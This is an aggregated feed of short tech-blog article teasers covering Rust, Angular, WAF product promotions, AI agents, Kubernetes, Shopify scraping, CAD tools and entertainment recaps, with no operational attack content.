    My first real Rust project
    I have been learning Rust for a couple of years, and using it for pet projects and demos alike. Working for a JVM-heavy company, I thought it would be my fate forever. Last week, I had a nice surprise: I convinced my management that using Rust for a particular project was the right choice. It's not a huge project, but I want to describe my experience using Rust in a "real" project. Our main software platform has baked-in health sensors for monitoring. These sensors are exposed as HTTP APIs. The problem is that most customers do not actively monitor those endpoints. For an engineer such as myself, they are responsible for their lack of maturity regarding observability; for customer success managers, they should be helped and cared for. The goal is simple: provide a component that polls the …  ( 11 min )
    7 Secrets Your Framework Docs Don't Tell You About Standalone Components
    You've probably heard about Angular's standalone components - they're a fresh way to build apps without relying on NgModules. But there's more to them than just skipping modules. Standalone components let you create self-contained building blocks that you import exactly where you need them, which makes your app cleaner and easier to manage. They simplify how you organize your code and open up new possibilities for building faster, more modular apps. This article isn't about the basics you've heard before. Instead, it dives into seven hidden tips and real-world advantages that most people overlook. Whether you're new to Angular or a seasoned developer, these insights will help you get more from standalone components. Even if you're a manager or stakeholder curious about how Angular's latest…  ( 14 min )
    Best Practices Are Not As Important As You Think They Are
    Best practices, they are not as important as you think they are. They do not just apply to the code you write to get your app to work. They also apply to styling, they apply to testing. You can implement best practices in a multitude of ways into your app, but should you? Please support my original publication here: Best Practices Are Not As Important As You Think They Are The main purpose best practices serve is code quality. You want maintainable code that you can always go back to, understand what it does, and easily swap out. Good practices make communicating with other developers way easier if you all have a certain standard, a code quality that you can all refer to. That is especially useful if you work in teams. If you work solo, not as much, but it still helps in some cases. Risk i…  ( 9 min )
    How SafeLine WAF Transformed Our Web Security: A Real User Case Study
    When our startup first began scaling our web service, cybersecurity was not our primary focus — until an incident made it painfully clear how vulnerable we were. Like most small teams, we initially relied on a traditional WAF powered by ModSecurity, which is common across 80% of web applications worldwide. At first glance, it seemed to work: SQL injections were blocked, XSS attacks were detected, and the dashboard showed all green. But very quickly, we ran into problems. Here’s what we experienced in real life: Attacks slipping through: Even though our WAF had rules like union[\w\s]?select for SQL injection and \balert\s for XSS, attackers could easily bypass them with simple tricks. For example, inserting comments, using character encoding, or splitting keywords. False positives aff…  ( 8 min )
    The New Digital-First Shift: AI Makes Development Easy, Marketing Becomes the Hard Part
    The New Digital-First Shift: AI Makes Development Easy, Marketing Becomes the Hard Part Over the last two years AI has quietly reshaped software development. A single developer can now produce features at the speed that once required a team. This creates a surprising new reality for digital-first businesses: Development is no longer the main bottleneck. Marketing is. Let’s break down why this shift is happening and what it means for devs and founders. AI accelerates almost every part of engineering: Implementation Refactoring Boilerplate generation Documentation Testing DevOps guidance One engineer can now automate internal tasks, maintain small systems, and ship features end-to-end. If a company historically spent Y hours per week building and maintaining systems, automation p…  ( 8 min )
    What is Web Scraping and What is it Used For?
    In today's age of information explosion, the internet is like a vast, untapped treasure trove of data. Web scraping is the key that unlocks this treasure chest. Market Research & Competitive Analysis Price Monitoring & Dynamic Pricing Lead Generation Brand & Public Sentiment Monitoring Academic Research & Data Aggregation In summary, the core value of web scraping lies in its ability to transform the scattered, vast amount of public information on the web into quantifiable, analyzable, and precise data. This data-driven intelligence powers smarter decisions and unlocks the potential of data, offering a significant informational advantage to individuals and businesses when used legally and ethically.  ( 7 min )
    WTF is Remote Patient Monitoring?
    Welcome to "WTF is this", the daily blog series where we dive into the wild world of emerging tech and try to make sense of it all. Today, we're tackling a term that sounds like something out of a sci-fi movie: Remote Patient Monitoring. Don't worry, it's not as futuristic as it sounds – but it's still pretty cool. So, what exactly is Remote Patient Monitoring (RPM)? In simple terms, it's a way for healthcare professionals to keep an eye on patients from afar using technology. This can include things like wearable devices, mobile apps, and even just good old-fashioned phone calls. The idea is to monitor patients' vital signs, symptoms, and overall health without them having to physically be in a doctor's office or hospital. Think of it like this: imagine you're recovering from an illness o…  ( 11 min )
    Announcing LightningChart JS Trader v4.0
    Hey, I'm Omar, and this time I wanted to bring you some good news about the latest release of LightningChart JS Trader 4.0. In this release, we focused on improving the user experience, flexibility, and real-time data streaming. Here are some of the changes: Built-in labels now show the latest close and indicator values, with options to show/hide the label and horizontal line. New pointer events (PointerDown, PointerUp, PointerEnter, PointerLeave) enable richer interactions. Default drawing-tool menus can also be disabled for custom implementations. Zooming/panning now work properly during real-time updates. New data point limit feature (enableDataPointLimit(), setDataPointLimit()). X-axis flicker fixed; better performance and more accurate labels. Automatic Data Sorting: Data no longer needs to be added in chronological order; the chart now sorts data automatically by datetime. New method to customize splitter line colors between main chart and indicators. Access the latest version with a 30-day free trial. Or read the official release note. Written by: Send me your questions via LinkedIn  ( 6 min )
    AI Agent Observability for LLM Applications: A Practical Guide for Engineers and Product Managers
    Shipping reliable LLM-powered applications demands more than traditional monitoring. Agentic systems introduce autonomy, reasoning, and multi-step decision-making across tools and services—making transparency and accountability essential. This guide reframes AI agent observability for engineering and product teams building chatbots, copilot experiences, RAG pipelines, and multi-agent workflows, drawing only from Maxim AI sources and the core practices outlined in the original article. LLM applications are non-deterministic and operate across complex execution paths—prompting, retrieval, reasoning, tool calls, and multi-agent coordination. Observability must extend beyond CPU/memory charts to capture agent behaviors, including reasoning quality, tool usage, token economics, and decision tra…  ( 10 min )
    SafeLine WAF: Stop Web Attacks Before They Stop You
    If you’re running a website or web service, you know the struggle: cyberattacks, automated scrapers, brute-force attempts, and sudden traffic surges. Traditional WAFs often fall short, either letting attacks slip through or blocking real users by mistake. That’s where SafeLine WAF comes in. SafeLine acts as a reverse proxy, sitting in front of your web service to filter and monitor HTTP traffic. It creates a smart barrier that intercepts malicious traffic while letting legitimate users through. Defends against: SQL injection, XSS, code injection OS command injection, CRLF injection XXE, SSRF, path traversal, and more 🤖 Anti-Scraping & Anti-Scanning Blocks malicious scrapers, vulnerability scanners, worms, and other automated threats to protect your content and data. Every page load delivers a unique, randomized HTML/JavaScript version, making it much harder for attackers to reverse-engineer your code. Prevents CC attacks, brute-force attempts, traffic spikes, and other abuses by controlling request rates based on source IP. Strict HTTP request management Human verification to distinguish bots from real users Optional authentication to prevent unauthorized access SafeLine in Action: Real Performance Metric ModSecurity Cloudflare SafeLine (Balanced) SafeLine (Strict) Sample Size 33,669 33,669 33,669 33,669 Detection Rate 69.74% 10.70% 71.65% 76.17% False Positive Rate 17.58% 0.07% 0.07% 0.22% Accuracy Rate 82.20% 98.40% 99.45% 99.38% SafeLine not only detects more attacks than traditional WAFs but also reduces false positives, keeping real users safe and happy. 180,000+ units installed globally 1 million+ websites protected 30 billion HTTP requests cleaned every day SafeLine is battle-tested in production, providing reliable web security for startups and enterprises alike. GitHub Repository: SafeLine WAF Official Website: SafeLine Live Demo: See It in Action  ( 7 min )
    How to store data on an Arduino after disconnecting it?
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    Reclaim the Fun of Coding: How to Avoid Manual Input Checks
    We all know the feeling. You’ve just architected a brilliant feature. The logic is sound, the data flow is elegant, and you’re ready to dive into the "fun part"—building the core functionality that actually does something cool. But wait. First, you have to build the gatekeeper. You have to check if userId exists. You have to check if age is actually a number. You have to make sure quantity isn't negative, and that email actually looks like an email. Before you know it, the top 20 lines of your function are a messy soup of if statements, typeof checks, and manual error throwing. Input verification is critical for security and stability, but it's probably also the most boring part of web development. It could break your flow, clutter your code, and turn a creative process into a tedious chor…  ( 10 min )
    Github dockerfile service using AI - Part 2
    Intro I have been fooling around a lot with ai recently, and I thought I would write something about what I've been doing. There are a few things that I've been doing, and they're all fascinating. Writing average looking code using minimum viable prompts. Getting this average looking code refactored to be a robust service. Generating API documentation - and having Claude fix this code. This is part two of a small series that I have created to walk through the process I went through to get decent code. I had a crazy idea. I thought to myself, let's write something that will go through my git repos and automagially update my dockerfiles so that the dockerfile uses a fixed but more recent version of the base image. In my first post, I looked at the codebase, which frankly was very average,…  ( 18 min )
    Recrutement des développeurs en Afrique : l’incohérence d’un système qui veut innover avec des méthodes archaïques
    Le secteur technologique africain connaît une croissance rapide, avec une génération de développeurs talentueux, créatifs et exposés aux outils les plus modernes. Pourtant, un paradoxe persiste : les pratiques de recrutement restent ancrées dans des approches obsolètes qui ne reflètent ni la réalité du métier ni les exigences de l’innovation. 1. Un héritage de méthodes scolaires mal adaptées au numérique Dans de nombreux pays africains, et particulièrement au Cameroun, les entreprises recrutent encore les développeurs comme on recruterait des enseignants d’histoire. citer le nom exact d’une méthode standard, écrire la syntaxe d’un commentaire multi-ligne, se souvenir de la fonction qui retourne le dernier élément d’un tableau, recopier du code sur papier. Mais un développeur moderne ne t…  ( 8 min )
    Excessive Agency in Agentic AI: Setting Safe Boundaries
    This article was originally published on AiSecurityDIR.com. Visit the original for the complete guide with all diagrams and resources. Agentic AI is transforming how organizations operate—but AI systems that can take autonomous actions introduce a fundamentally new category of security risk. When agents have more permissions, capabilities, or independence than they need, you're facing excessive agency. In this article, you'll learn what excessive agency means, why it's different from other AI risks, and how autonomous agents can cause serious harm even without malicious intent. Most importantly, you'll get a practical five-layer defense framework to set safe boundaries for your AI agents. This guide is for security leaders, AI engineers, and operations teams responsible for deploying or ma…  ( 13 min )
    Build your first AI agent
    Over the past year, the conversation around AI inside enterprises has shifted. Teams are no longer asking whether AI can help with individual tasks—they're asking how AI can act on their behalf, move work forward, and make decisions without constant supervision. This is where agentic AI comes in. Agentic AI refers to systems that can observe what's happening, reason about the situation, take action, and learn from the outcome. Instead of waiting for a prompt, these agents proactively handle multi-step, often messy workflows—checking data, following policy, coordinating across systems, and asking for approval only when needed. It's a clear step beyond traditional generative AI, which is powerful but fundamentally reactive. For developers, this is your moment. While enterprises care about r…  ( 7 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their Monday-night parlay by revisiting the 2005 sports-betting thriller Two for the Money, starring Matthew McConaughey, Al Pacino, and Rene Russo. They dive into the film’s high-stakes wagering scenes, debate what makes it tick, and share the timestamps so you can jump right to the action. After hashing out the most rewatchable moment, the trio rounds off the episode with a playful rundown of their signature “Rewatchables” categories. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, the show also gives shout-outs to Subaru’s Share the Love® Event and State Farm—plus plenty of links to subscribe and connect with The Ringer’s universe. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just unleashed their “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less,” tearing into every plot hole, cringe moment, and demon-slaying trope with their signature snark. They’ve even lined up a sinful poll, Patreon perks, and shout-outs to their crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) for anyone who wants more behind-the-scenes chaos. Hungry for extra sinning? Hit up cinemasins.com, binge their spin-off channels (@TVSins, @CommercialSins), hop into Discord or Reddit, and follow them on Instagram and TikTok. And if you can’t get enough film roasting, check out Jeremy’s new book for the ultimate cheat sheet. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – Dead Reckoning Part Two CinemaSins just unleashed their “final reckoning” on MI7, squeezing every nitpick into a brisk sub-27-minute roast. They’re still big fans of Ethan Hunt’s high-octane stunts, but confess this installment might’ve lost a bit of that impossible magic. Between the witty jabs, they plug their website, social channels, a “sinful” poll and Patreon—perfect for anyone who can’t get enough of pop-culture nitpicking. Watch on YouTube  ( 6 min )
    Start using OAuth for Office 365 POP/IMAP authentication
    Microsoft has disabled Basic authentication for most Exchange Online protocols. Microsoft has documented the requirements and configuration steps to use OAuth with POP/IMAP in Microsoft 365 in this article: Authenticate an IMAP, POP or SMTP connection using OAuth | Microsoft Docs. You’ll see details about the registration of the required Azure AD applications and the permissions required for the access token to give Exchange Online the authorization of the mailbox access request. OAuth 2.0 Authentication Microsoft 365 (formerly Office 365) supports two kinds of OAuth 2.0 authentication: Delegated authentication is suitable for desktop, mobile or web applications with signed-in user present. SETUP OAUTH Configuring Microsoft 365 Register your application In Azure Portal ⇒ expand…  ( 8 min )
    Google Antigravity: The Amazing IDE Powered by Gemini 3
    The landscape of AI-assisted development has evolved rapidly, moving from simple code completion to fully integrated "agentic" environments. The latest entrant to this competitive space is Google Antigravity, a public preview release that promises to redefine how developers interact with their IDEs. Antigravity offers a familiar VS Code-like interface but introduces a sophisticated "Agent Manager" designed to spawn, coordinate, and test autonomous coding tasks. At the heart of this system lies a diverse selection of large language models (LLMs). The core engine driving Google Antigravity is the Gemini 3 Pro model, which is available in two distinct configurations: "High" and "Low." This tiered approach allows developers to balance computational cost and speed against reasoning depth, dep…  ( 7 min )
    Event Opening - AWS Community Day Hong Kong 2025
    Mark Arel @ AWS Hong Kong Community Day 2025 The event is organized by volunteers of AWS users, with a committee preparing for the last three months. English is the official language, but Cantonese wordings will be used. The event is co-organized by AWS User Group Hong Kong and Hong Kong IIT HIT. There are 17 sessions with 21 speakers from eight different countries. This is the first community-driven semi-official AWS event in Hong Kong. Over 700 registrations have been received. The event relies on premium sponsors, and Mark, head of professional services in Hong Kong, will give a few words. The AWS user group community is special because it's community-led and made up of people passionate about AWS. There are over 700 registrations for the event, representing a big and thriving community. Throughout the day, there will be 17 different sessions led by expert AWS users and leaders. Attendees will have the opportunity to learn, network, and get inspired for innovation. The event is different from AWS training and certification as it allows learning from peers and colleagues. AWS is customer-obsessed and values events like this where customers can share knowledge and insights. The event encourages embracing change and using technology like generative AI to transform roles and increase efficiency. The success of the event relies on the participation of all attendees, sponsors, speakers, and co-organizers. The goal is to make this inaugural AWS user group community day in Hong Kong a memorable event filled with knowledge, innovation, and inspiration.  ( 7 min )
    Agent-to-Agent: Building Interoperable AI on AWS
    Lahiru Ratnayaka @ AWS Hong Kong Community Day 2025 Building Next-Generation Agent Applications on AWS Use Case: Cafe Manager Agent Cafe Manager Agent: Built using Crew AI framework. Tools: Connected APIs with OpenAPI specification. Scenario: Custom base (customer) communicates with the cafe manager agent to request items like cappuccino or long black coffee. Distributed Agent: Another agent (e.g., vendor agent) communicates with the cafe manager agent to get information or place orders. Frameworks: Cafe manager agent uses Crew AI, while the distributed agent uses Autogen. Identity Provider: Custom base uses Okta as the identity provider. Tools: APIs are not hosted on AWS Lambda but follow OpenAPI specification. AWS Support for Agentic Applications Agent Core Service: A comp…  ( 11 min )
    What role do stablecoins and on-chain identity play in the RWA ecosystem?
    The tokenization of real-world assets is steadily becoming an important part of modern finance. Institutions, fintech firms, and DeFi platforms are bringing treasury bills, real estate, credit products, and other financial instruments onto blockchain networks. This shift is not happening overnight, but the progress is consistent and meaningful. Behind this growth are two essential components that keep these markets organized and accessible. Stable coins give participants a reliable way to move value on-chain. On-chain identity helps platforms follow regulatory requirements while protecting user trust. Together they create a strong and practical foundation for the RWA ecosystem. The idea of tokenizing real-world assets works best when the supporting infrastructure is dependable. Stable coins and on-chain identity provide that dependability. Each one plays a separate role, yet both work together to create a balanced and efficient market environment. Their combined strengths help make tokenized assets easier to use, easier to manage, and easier to integrate with traditional financial systems. • Smooth transactions with verified users • Transfers restricted to approved participants • Automatic compliance through smart contracts • Consistent user experiences across regions • A strong base for long-term market growth This partnership allows RWA platforms to expand with clarity and trust. Stable coins provide global liquidity, and on-chain identity ensures regulatory alignment. The result is a stable and accessible environment that supports responsible growth. Together they reduce complexity, support transparency, and strengthen the entire ecosystem. Stable coins deliver efficient and predictable transactions. On-chain identity provides secure and compliant participation. Their combined role helps drive confidence, sustainability, and long-term success in the advancing RWA market.  ( 8 min )
    Rethinking GenAI Agent: RAG & MCP
    Carson Chan & Angelo Mao @ AWS Hong Kong Community Day 2025 RA and MCP in Agentic Architectures: Focus of the Session: Discussion on Retrieval-Augmented (RA) and Multi-Chain Processing (MCP), two traditional techniques in the agentic world. Emphasis on what matters in agentic architectures and how to boost agent performance. Key Points: Agent Orchestration: Agents are orchestrated by models, making the model crucial. Model Evolution: The evolution of logical thinking and capabilities in models is primarily driven by model providers unless custom training is undertaken. External System Connectivity: Agents' ability to connect with external systems and perform accurately is vital. Retrieval-Augmented (RA): Definition: RA allows Large Language Models (LLMs) to access custom knowle…  ( 11 min )
    Why No-Code Documentation Platforms Are the Future of Product Development
    For a long time, product documentation sat inside static sites, Git repos, and config-heavy setups. That was fine when teams were small and releases were slow. But today, products ship continuously, teams work across time zones, and customers expect answers instantly. Documentation needs to move with the same speed and that’s where no-code documentation platforms have become game changers. These tools remove the technical overhead that used to slow teams down. Instead of fighting build errors or learning a publishing workflow, writers and engineers can focus on capturing product knowledge clearly and quickly. 1. They make documentation easier for everyone to create Teams write more and write better when the process feels simple. No-code platforms remove nearly all friction, letting anyo…  ( 10 min )
    Building an Offline-First Open Home Notes App (Because I Needed It) "MyNextHome"
    House-hunting can get messy very quickly. You visit several places in one afternoon, collect brochures that all look the same, and scribble notes that eventually get lost or smudged. By the time you get home, the details start blending together. It becomes hard to remember: which one had the damp bathroom which one you actually liked and which one you ruled out but forgot why For years, I wished there was one simple tool that helped me keep everything organised — notes, photos, impressions, and reminders — all in a clean flow. Nothing existed, so I kept making do with paper, my camera roll, and memory. The frustration was real, and because I’m solving my own problem, I understand the user’s pain points deeply. The app must: Get the latest open homes from real estate's website for the weekend (TradeMe New Zealand) open instantly work offline inside houses with bad reception save notes without lag store photos and impressions together sync automatically when I’m back home Once these product constraints were solid, the technology naturally followed. A lightweight Node.js backend provides clean APIs. Offline-first storage like SQLite or Supabase solves the spotty reception issue. A simple folder structure keeps the project maintainable. And a sync layer ensures everything stays consistent across devices. What makes this project meaningful is that I’ve needed this app for a long time. I’ve had so many Saturdays where I thought, “Why doesn’t something like this exist already?” Now that I’m learning more about mobile and backend development, I can finally build the tool I’ve always wanted. It may not be perfect yet. It may take time. And I’m learning as I go. But it feels incredibly empowering to create something that solves a real frustration in my daily life. This is why I enjoy mobile development so much - it is very rewarding to solve a real life problem, as well as carry it in your pocket!! :)  ( 7 min )
    AWS Cloud Formation doing crazy
    Intro I decided to write this article after a year and a half of actively using AWS CloudFormation across two separate products. Because it’s less popular than Terraform, finding solutions to some problems often meant piecing together hints from different sources. Here I’ll share my experience in the hope that it helps someone else solve their CloudFormation challenges. A large part of this article is code. It’s mainly a note for myself in the future, so I can remember how I used AWS CloudFormation if I need to work with it again. When you work with CloudFormation, there are some key differences from Terraform. For example: there’s no automatic drift remediation, deployments are all-or-nothing (no partial apply), you can’t deploy to multiple regions in one go, and stack policies have th…  ( 9 min )
    Understanding RAG Pipelines: Architecture, Evaluation Metrics, and Best Practices for Enterprise AI
    Retrieval-Augmented Generation (RAG) is now foundational for context-aware enterprise AI, powering customer support, internal knowledge systems, and compliance workflows with grounded, up-to-date responses. While over 60% of organizations are building retrieval solutions, most struggle to translate prototypes into production-grade reliability. This guide breaks down the RAG architecture, the critical evaluation metrics that correlate with trustworthy outputs, and the operational best practices needed to scale—plus how Maxim’s platform streamlines experimentation, evaluation, and observability across the RAG lifecycle. Start exploring with Get started free or book a walkthrough via Book a demo. See all capabilities on Features and implementation guidance in Docs. RAG augments a language mod…  ( 9 min )
    How AI is Rewriting the Football Analyst's Job Description
    Then vs. Now Five years ago, analysts relied on endless video hours and physical notebooks to convince managers of their insights. Today, before an analyst finishes their morning coffee, AI has already analyzed opponents, quantified pressing triggers, and predicted scorelines. The Rise of Predictive Engines While legacy providers like Opta gave us data, new platforms like FootballAnt, Predicd, and Aiscout tell machines to predict the game. FootballAnt is probably the clearest example. Before every Champions League and major league fixture, the platform now feeds 200+ data points per team (pressing intensity, progressive pass clusters, goalkeeper sweep angles, even weather-adjusted expected threat) into its AI engine. Thirty seconds later it returns predicted scoreline. The New Role: "AI Translator" The industry has shifted from data collection to interpretation . Modern analysts now spend 70% of their time on: Translation: Converting AI insights into language managers trust. Deception Detection: Spotting when teams hide tactical patterns. Application: Designing drills that fix specific weaknesses. The Bottom Line AI did not kill the analyst; it automated the repetitive data recording . The best analysts of 2025 aren't those who watch the most minutes, but those who understand the context the machine missed.  ( 6 min )
    The Art of Cleaning Files Before They Reach Your Server
    Building an application that accepts user content is a standard requirement today. Whether you are running a classroom management tool or a print-on-demand shop, you need to accept files. However, accepting a file in your file uploader is only half the battle. The real challenge lies in making sure that file is actually usable and safe before it enters your system. This is where we move beyond simple uploads and start looking at intelligent automation. Key Takeaways Automate Quality Control Workflows serve as an intelligent filter that standardizes, scans, and fixes files before they ever touch your main database. Keep Your App Fast By offloading heavy tasks like virus scanning or video transcoding to a background process, your user interface remains snappy and responsive. Webhooks…  ( 9 min )
    Social Engineering: Why Humans Are the Weakest Link in Cybersecurity
    A comprehensive guide to understanding and defending against the most sophisticated cyber attacks. In the of cybersecurity, we’ve built sophisticated firewalls, implemented multi-factor authentication, and deployed advanced threat detection systems. Yet, despite these technological fortresses, 95% of security breaches still involve human error** (IBM Security Report). The reason? Social engineering attacks that bypass our technical defenses by targeting the one element that can’t be patched: human psychology. After delivering lightning talks on this critical topic to enthusiastic audiences, I’ve realized that understanding social engineering isn’t just important for IT professionals—it’s essential for everyone in our increasingly digital world. Social engineering is the psychological mani…  ( 10 min )
    The Melbourne Talent War: A Conversation
    Setting: Fitzroy café. Afternoon sun. Coffee that tastes like punishment. JAMES: Supreet, hiring in Melbourne is a nightmare. Everyone wants “top engineers,” no one can find them. And when they do, the person quits in six months for a 20k bump. I’ve never seen the market this thin. SUPREET: Yeah, I’m hearing the same from clients. And honestly—this isn’t new to me. I lived a version of this in Indonesia back in 2015. JAMES: What happened there? SUPREET: We were trying to build a cloud team for a client. AWS was taking off, but Jakarta didn’t have many cloud engineers. Maybe ten people in the whole market who had touched EC2. Singapore companies were paying double. Local companies couldn’t compete. JAMES: Sounds familiar already. SUPREET: Exactly. So instead of chasing unicorns, we changed …  ( 8 min )
    Enterprise AI Agents: A Practical Guide to Scaling Architecture, Governance, and ROI
    Most enterprises have moved beyond experimentation with AI—adoption is broad, but only a minority see enterprise-level financial impact. The gap between promising pilots and production scalability is driven by architecture, data, governance, and operating model challenges. This guide explains how to scale AI agents in production with modular architectures, comprehensive observability, and cost-aware orchestration—so teams can achieve measurable ROI with Maxim. Start building now with Get started free or see the platform firsthand via Book a demo. AI agents reason across multi-step workflows, call external tools and APIs, retain context, and operate in changing environments. Compared to deterministic software, agents introduce variability, token and latency costs, and governance requirement…  ( 8 min )
    8 Best CAD Software
    8 Best CAD Software Computer-Aided Design (CAD) software has become an essential tool across industries ranging from product design and architecture to engineering and manufacturing. Whether you’re creating precise mechanical components, drafting architectural layouts, or preparing models for 3D printing, choosing the right CAD platform can dramatically affect your workflow, productivity, and final results. Today’s CAD landscape is rich and diverse, with options tailored to different levels of expertise, budgets, and project requirements. Some tools are cloud-based and collaboration-focused, others are engineering powerhouses used in aerospace and automotive industries, while some aim to make 3D modeling more accessible to hobbyists and students. In this article, we highlight eight of the …  ( 9 min )
    Best Figma Plugins for UI/UX Designers
    When you're designing in Figma, the right plugins can dramatically speed up your workflow, boost consistency, and help you prototype faster. Whether you're a beginner or a seasoned product designer, these plugins will level up your UI/UX game. Below is a curated list of the best Figma plugins every designer should know, along with what makes them essential. Auto Layout Magic A must-have for designers who work heavily with Figma’s Auto Layout. This plugin helps you apply clean, consistent layouts instantly and fix messy auto-layout layers with one click. Why it’s great: Cleans up auto-layout issues Saves tons of time when dealing with responsiveness Great for handoff consistency 2. Contrast Accessibility is non-negotiable. Contrast checks your text and background col…  ( 7 min )
    Definition of Services in Kubernetes
    A Service in Kubernetes is an object that provides a stable IP address, DNS name, and consistent network access to a group of Pods. Because Pods are temporary — they die, restart, or get new IPs — a Service makes sure that: ✔ Applications can find and talk to Pods reliably ✔ Network traffic is load-balanced across Pods ✔ The communication remains stable even if Pods change Why Services Exist Pods are not permanent: Their IPs keep changing Pods come and go during scaling New Pods replace old Pods during deployments Without Services, apps would have no stable way to reach Pods. A Service hides Pod changes behind a fixed, reliable endpoint. What a Service Provides 🔹 Stable ClusterIP A virtual IP that does NOT change. DNS name Example: myapp.default.svc.cluster.local Load balancing Traffic is automatically distributed to healthy Pods. Service Discovery Apps always know how to find each other. How Services Work Internally A Service selects Pods using labels: selector: app: myapp Then Kubernetes creates: Endpoints/EndpointSlices = list of Pod IPs behind the Service Rules in kube-proxy (iptables/ipvs) to route traffic When you access the Service IP → kube-proxy forwards the request to one of the matching Pods. One-Line Interview Definition A Service in Kubernetes is a stable networking endpoint that provides consistent access, load balancing, and discovery to a dynamic group of Pods.  ( 7 min )
    Types of Chatbots: Rule-Based, NLP & AI Chatbots Explained (Insights from DGTL Tech Hub)
    Chatbots have become an essential part of modern business communication. Whether it's answering customer questions, guiding online shoppers, or generating new leads, chatbots help companies save time and improve efficiency. But not all chatbots work the same way. Some follow fixed flows, some understand natural language, and some learn from user behavior. In this guide, we’ll break down the main types of chatbots in simple language and share how DGTL Tech Hub builds these solutions for different industries. A chatbot is a software program that interacts with users through text or voice. It can answer questions, provide solutions, show products, and even help users complete tasks. With advanced technology, chatbots have become smarter and more interactive than ever before. Businesses acros…  ( 8 min )
    Forget Wall Street: Here’s How to Create the Best Stock Screener Yourself
    Stock Screeners for Math People: Build Your Own A stock screener is just a function. You don't need Wall Street, a fancy terminal, or YouTube. If you know high school math and Python, you can build your own screener that is transparent, tuned to your portfolio, and changeable as your ideas evolve. At its core, a stock screener is a mathematical filter function: Screener(stock)={TRUEif stock passes your rules FALSEotherwise \text{Screener}(\text{stock}) = \begin{cases} \text{TRUE} & \text{if stock passes your rules} \ \text{FALSE} & \text{otherwise} \end{cases} Screener(stock)={TRUE​if stock passes your rules FALSE​otherwise​ You have a universe of N stocks, each with data: Input=S1,S2,…,SN,Si=Pi(t),Vi(t),Fi \text{Input} = {S_1, S_2, \ldots, S_N}, \quad S_i = {P_i(t), V_i(t), F_i} Inpu…  ( 13 min )
    🚀 Terraform Azure Infrastructure (Modular Architecture + DevSecOps)
    Code Structure . ├── azure-pipelines.yml # Azure DevOps CI/CD pipeline ├── main │ ├── main.tf # Module orchestration │ ├── provider.tf # Azure provider configuration │ ├── terraform.tfvars # Input variable values │ └── variable.tf # Module variables ├── modules │ ├── 01_resource_group # Resource Group creation │ ├── 02_storage_account # Storage Accounts │ ├── 03_storage_container # Storage Containers │ ├── 04-Public_IP # Public IP │ ├── 05_Virtual_Net # VNet & Subnets │ ├── 06_sql_server # Azure SQL Server │ ├── 07_sql_database # Azure SQL Database │ ├── 08_net…  ( 7 min )
    The Shopify products.json Trick: Scrape Any Store 25x Faster with Python
    If you’ve ever done any web scraping, you know how annoying it is to parse HTML: finding parents of elements, navigating through a web of xml tags, hoping CSS selectors don’t change over time and break everything. However, on Shopify - one of the largest and most useful repositories of product data - contains a trick that allows us to bypass this process entirely, leaving us with beautiful JSON right out the gate. I recently built Sillage, a fragrance drop tracker that scrapes dozens of Shopify /products.json Every Shopify store exposes a secret endpoint: /products.json. For perspective, I invite you to click on some links (promise they’re safe) This is a website that sells niche perfumes in the spirit of animals (Cow, Penguin, T-rex…) This first link is their direct home page https://w…  ( 10 min )
    Shared Namespaces
    🧠 First: What is a Namespace in Linux? A namespace in Linux is a boundary or an isolation mechanism. It decides what a process is allowed to see on the system. Think of it like: A private room inside a house. Containers rely heavily on Linux namespaces. Types of Linux Namespaces Some key ones used by containers: Namespace What it isolates Example NET Network Each container gets its own virtual network stack PID Processes Each container sees only its own processes IPC Inter-process communication Shared memory, semaphores UTS Hostname Each container can have its own hostname MNT Filesystems Each container has its own root filesystem Kubernetes Pods mainly use NETWORK + IPC + UTS namespaces. Now: What is a Shared Namespace in a Pod? A Pod is NOT a contain…  ( 7 min )
    Project-Based Learning With 3D Design and Printing: Transforming Classrooms Through Creative Making
    Project-Based Learning With 3D Design and Printing: Transforming Classrooms Through Creative Making Education has shifted from passive learning to active, hands-on engagement. Among the most transformative tools accelerating this shift is 3D design and printing, which brings abstract ideas to life and empowers students to become creators rather than mere consumers. When combined with Project-Based Learning, a framework where students gain knowledge and skills by working on meaningful, real-world projects, 3D printing opens a world of exploration, problem-solving, and innovation. This article highlights ten powerful 3D design and printing projects, each paired with its educational benefit and a clear example project. Together, they illustrate how 3D-printed learning experiences build creati…  ( 10 min )
    From PNG to PDF — Exploring the Design Behind PNG to PDF
    If you often need to convert PNG images (screenshots, UI designs, scans, etc.) into PDF documents, pngtopdf.io offers a lightweight, fast, cross-platform solution. 🧠 Why Do We Need a PNG → PDF Tool? You need to combine multiple images into a single document. A website/company/school only accepts PDF uploads, not images. You want fewer files — PDF = one clean report, instead of 10–50 PNGs. No installation required — works completely in the browser Free & watermark-free Batch processing — merge multiple PNGs into one PDF Mobile-friendly — works on desktop, tablet, or phone High-quality output — no unnecessary compression Simple workflow — drag → convert → download Compared to desktop software or heavy client tools, a lightweight web-based converter is faster, cleaner, and accessible anywher…  ( 10 min )
    Building Better Governance: How Simulations Are Transforming Training for Public Servants
    Government employees serve as the indispensable core for delivering essential public services, upholding critical policies, and ensuring that the complex needs of citizens are met effectively and efficiently. In today’s increasingly dynamic and complex global environment, the intricate challenges faced by public servants demand far more than just theoretical knowledge—they necessitate practical, hands-on experience that proactively prepares them to handle real-world scenarios, particularly those characterized by high pressure and ambiguity. This imperative for practical readiness has paved the way for business simulations—a cutting-edge, proven solution that is fundamentally transforming government training programs worldwide. Crisis Management and Emergency Response Governmental agencies …  ( 9 min )
    Building My Own HTTP Server in TypeScript
    How I Started When I started my journey with web development, after some weeks I kept hearing about "requests" and "responses." Wait! What is a request? What is a response? Why does HTTP exist, and why is it called HTTP? I hate pretending to understand something. Therefore, I decided to build my own HTTP server—or at least pretend to :). Eventually, I got to the core idea: HTTP is just Hypertext Transfer Protocol—basically a set of rules for transferring data. But what really mattered was understanding that HTTP is built on top of TCP(Transmission Control Protocol), which I'll explain below. So, I started building my own http-server-ts. I asked my friend who had built his own server, and I was genuinely impressed. When I asked him how I could learn all this stuff related to web developme…  ( 10 min )
